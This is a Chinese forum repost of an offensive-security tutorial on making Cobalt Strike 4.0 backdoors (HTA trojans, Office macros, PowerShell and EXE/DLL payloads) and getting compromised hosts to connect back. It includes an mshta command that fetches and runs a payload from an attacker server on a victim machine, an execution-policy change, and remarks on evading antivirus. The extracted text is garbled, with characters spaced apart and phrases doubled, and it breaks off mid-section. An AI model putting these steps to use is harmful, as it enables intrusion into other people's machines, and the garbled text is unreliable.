搜索

[27142] 2021-01-22_CobalStrike4.0生成后门几种方式及主机上线后基础操作

文档创建者：s7ckTeam
浏览次数：58
最后更新：2025-01-19
2021-01-22_CobalStrike4.0生成后门几种方式及主机上线后基础操作 C o b a l S t r i k e   4 . 0   生 成 后 门 几 种 方 式   及   主 机 上 线 后 基 础 操 作 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 1 - 0 1 - 2 2 收 录 于 话 题 # 内 网 安 全 小 组   , 2 8 # C o b a l t   S t r i k e   , 4 出 品 ｜ 出 品 ｜ M S 0 8 0 6 7 实 验 室 （ 实 验 室 （ w w w . m s 0 8 0 6 7 . c o m ） ） 本 文 作 者 ： B l a c k C a t （ M s 0 8 0 6 7 内 网 安 全 小 组 成 员 ） B l a c k C a t 微 信 （ 欢 迎 骚 扰 交 流 ） ： 步 骤 ： A t t a c k s — 〉 P a c k a g e s — 〉 如 下 : H T M L   A p p l i c a t i o n     生 成 恶 意 的 生 成 恶 意 的 H T A 木 马 文 件 木 马 文 件 M S   O f f i c e   M a c r o     生 成 生 成 o f f i c e 宏 病 毒 文 件 宏 病 毒 文 件 P a y l o a d   G e n e   r a t o r     生 成 各 种 语 言 版 本 的 生 成 各 种 语 言 版 本 的 p a y l o a d ; W i n d o w s   E x e c u t a b l e     生 成 可 执 行 生 成 可 执 行 e x e 木 马 ； 木 马 ； W i n d o w s   E x e c u t a b l e ⑸ ⑸     生 成 无 状 态 的 可 执 行 生 成 无 状 态 的 可 执 行 e x e 木 马 。 木 马 。
1 、 、 H T M L   A p p l i c a t i o n 生 成 恶 意 的 生 成 恶 意 的 H T A 木 马 文 件 木 马 文 件 — 个 H T M L   A p p l i c a t i o n   （ H T M L 应 用 ） 是 一 个 使 用 H T M L 和 一 个 I n t e r n e t 浏 览 器 支 持 的 脚 本 语 言 编 写 的 W i n d o w s 程 序 。 该 程 序 包 生 成 一 个 H T M L 应 用 ， 该 应 用 运 行 一 个 C o b a l t S t   r i k e p a y l o a d 。 你 可 以 选 择 可 执 行 的 选 项 来 获 取 一 个 H T M L 应 用 ， 此 H T M L 应 用 使 得 一 个 可 执 行 文 件 落 地 在 磁 盘 上 并 运 行 它 。 选 择 P o w e r S h e l l 选 项 来 得 到 一 个 H T M L 应 用 ， 该 应 用 使 用 P o w e r S h e l l 来 运 行 一 个 p a y l o a d 。 使 用 V B A 选 项 来 静 默 派 生 一 个 M i c r o s o f t E x c e l 实 例 并 运 行 一 个 恶 意 的 宏 来 将 p a y l o a d 注 入 到 内 存 中 。 生 成 一 个   H T M L   a p p l i c a t i o n A t t a c k s   - >   P a c k a g e s   - >   H t m l   A p p l i c a t i o n
这 里 有 三 种 工 作 方 式
e x e c u t a b l e （ 生 成 可 执 行 攻 击 脚 本 ） p o w e r s h e l l （ 生 成 一 个 p o w e r s h e l l 的 脚 本 ） V B A （ 生 成 一 个 v b a 的 脚 本 ， 使 用 m s h t a 命 令 执 行 ） 这 里 借 鉴 一 个 网 上 的 方 法 ， 生 成 一 个 p o w e r s h e l l , 因 为 i 两 外 两 种 方 式 上 线 不 成 功 ， 然 后 配 合 h o s t   f i l e 使 用 。 然 后 会 生 成 一 个 U R L 复 制 到 h t t p : / / x . x . x . x : 8 0 0 8 / d o w n l o a d / f i l e . e x t 然 后 在 受 害 者 机 器 上 运 行 m s h t a   h t t p : / / x . x . x . x : 8 0 0 8 / d o w n l o a d / f i l e . e x t 然 后 C S 端 就 可 以 收 到 上 线 了
2 、 、 M S   O f f i c e   M a c r o 该 程 序 包 生 成 一 个 M i c r o s o f t O f f i c e 的 宏 文 件 并 提 供 将 宏 嵌 入 M i c r o s o f t   W o r d 或 M i c r o s o f t   E x c e l 的 说 明 。 这 个 参 考 我 钓 鱼 部 分 的 宏 文 件 制 作 部 分 的 文 章 。 3 、 、 p a y l o a d   G e n e r a t o r 该 程 序 包 允 许 你 以 不 同 的 多 种 格 式 导 出 C o b a l t   S t r i k e 的 s t a g e r 。 运 行   A t t a c k s   - >   p a c k a g e s   - - >   p a y l o a d   g e n e r a t o r 该 模 块 可 以 生 成 n 种 语 言 的 后 门 P a y l o a d , 包 括 C , C # , P y t h o n , J a v a , P e r l , P o w e r s h e l l 脚 本 ， P o w e r s h e l l 命   令 ， R u b y , R a w , 免 杀 框 架 V e l i 中 的 s h e l l c o d e 等 等 …
渗 透 W i n d o w s 主 机 过 程 中 ， 用 的 比 较 多 的 就 是 P o w e r s h e l l 和 P o w e r s h e l l   C o m m a n d , 主 要 是 因 为 其 方 便   易 用 ， 且 可 以 逃 避 一 下 杀 毒 软 件 （ A V ） 的 查 杀 。 以 P o w e   r s h e l l   C o m m a n d 为 例 ， 生 成 的 p a y l o a d 为 一 串 命 令 ， 只 要 在 主 机 上 执 行 这 一 串 命 令 （ 主 机 需 安   装 P o w e   r s h e l l ） ,   c s 即 可 收 到 主 机 的 b e a c o n
4 、 、 W i n d o w s   E x e c u t a b l e   ( W i n d o w s   可 执 行 文 件 可 执 行 文 件 ) 该 程 序 包 生 成 一 个 W i n d o w s 可 执 行 A r   t i f a c t ， 用 于 传 送 一 个 p a y l o a d   s t a g e   r 。 这 个 程 序 包 为 你 提 供 了 多 种 输 出 选 项 。 W i n d o w s   S e r v   i c e   E X E   是 一 个   W i n d o w s   可 执 行 文 件 ， 可 响 应 S e r v i c e   C o n t   r o l   M a n a g e   r 命 令 。 你 可 以 使 用 这 个 可 执 行 文 件 来 作 为 使 用 s c 命 令 起 的 W i n d o w s 服 务 的 调 用 程 序 ， 或 使 用 M e t a s p l o i t 框 架 的 P s E x e c 模 块 生 成 一 个 自 定 义 的 可 执 行 文 件 。 也 就 是 说 ， 普 通 的 E X E 和 服 务 器 启 动 调 用 的 E X E 是 有 区 别 是 。 利 用 W i n d o w s   S e r v i c e E X E 生 成 的 E X E 才 能 用 来 作 为 服 务 自 启 动 的 E X E , 利 用 C o b a l t   S t r i k e 中 W i n d o w s   e x e 生 成 的 E X E 不 能 作 为 服   务 自 启 动 的 E X E 程 序 ( 因 为 不 能 响 应 S e r v i c e   C o n t r o l   M a n a g e r )
W i n d o w s   D L L   ( 3 2 - b i t ) 是 一 个   x 8 6   的   W i n d o w s   D L L 。 W i n d o w s   D L L   ( 6 4 - b i t ) 是 一 个 x 6 4 的 W i n d o w s   D L L 。 这 个 D L L 会 派 生 一 个 3 2 位 的 进 程 ， 并 且 将 你 的 监 听 器 迁 移 至 其 上 。 这 两 个 D L L 选 项 都 会 导 出 一 个 开 始 功 能 ， 此 功 能 与 r u n d l l 3 2   . e x e 相 兼 容 。 使 用 r u n d l l 3 2   . e x e 来 从 命 令 行 加 载 你 的 D L L 。 勾 选 U s e   x 6 4   p a y l o a d 框 来 生 成 匹 配 x 6 4 s t a g e r 的 x 6 4 A r   t i f a c t 。 勾 选 S i g n   e x e c u t a b l e   f i l e 框 来 使 用 一 个 代 码 签 名 的 证 书 来 签 名 一 个 E X E 或 D L L   A r   t i f a c t 。 你   必 须 指 定 一 个 证 书 ， 你 必 须 在 C 2 拓 展 文 件 中 指 定 证 书 。 上 面 说 了 好 多 但 是 实 践 非 常 简 单 ， 只 是 需 要 确 认 下 受 害 者 的 电 脑 是 X 6 4 还 是 X 3 2 直 接 运 行 我 们 生 成 的 e x e 文 件
5 、 、 W i n d o w s   E x e c u t a b l e ( s ) 该 程 序 包 直 接 导 出 B e a c o n   ( 也 就 是 p a y l o a d   s t a g e ) ， 这 个 B e a c o n 是 作 者 写 好 的 3 2 或 6 4 位 D L L ， 是 一 个 不 使 用 s t a g e r 的 可 执 行 文 件 ， 直 接 和 监 听 器 连 接 、 传 输 数 据 和 命 令 。 一 个 不 使 用 s t a g e r 的 p a y l o a d   A r   t i f a c t 被 称 为 无 阶 段 的 A r   t i f a c t 。 这 个 程 序 包 也 有 P o w e   r S h e l l 选 项 来 导 出 B e a c o n 作 为 一 个 P o w e r S h e l l 脚 本 ， 或 r a w 选 项 导 出 与 位 置 无 关 的 b e a c o n 代 码 。 默 认 情 况 下 ， 这 个 对 话 导 出 x 8 6   p a y l o a d   s t a g e 。 勾 选 U s e   x 6 4   p a y l o a d 框 来 使 用 x 6 4   A r   t i f a c t 生 成 一 个 x 6 4   s t a g e 。 勾 选 S i g n   e x e c u t a b l e   f i l e 框 来 使 用 代 码 签 名 的 证 书 来 签 名 一 个 E X E 或 D L L   A r t i f a c t 。 这 里 尝 试 生 成 一 个 p o w e r s h e l l 马 但 是 生 成 后 直 接 运 行 不 可 行 这 里 要 更 改 下 他 的 策 略 只 有 管 理 员 才 有 权 限 更 改 这 个 策 略 。 非 管 理 员 会 报 错 。 查 看 脚 本 执 行 策 略 ， 可 以 通 过 ： P S   E : >   G e t - E x e c u t i o n P o l i c y 更 改 脚 本 执 行 策 略 ， 可 以 通 过 P S   E : >   G e t - E x e c u t i o n P o l i c y R e s t r i c t e d P S   E : >   S e t - E x e c u t i o n P o l i c y   U n R e s t r i c t e d 然 后 再 次 执 行 ：
C S 4 . 0 上 线 机 器 后 操 作 上 线 机 器 后 操 作 右 键 菜 单 : 一 、 一 、 I n t e r a c t 进 入 操 作 命 令 二 、 二 、 A c c e s s
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理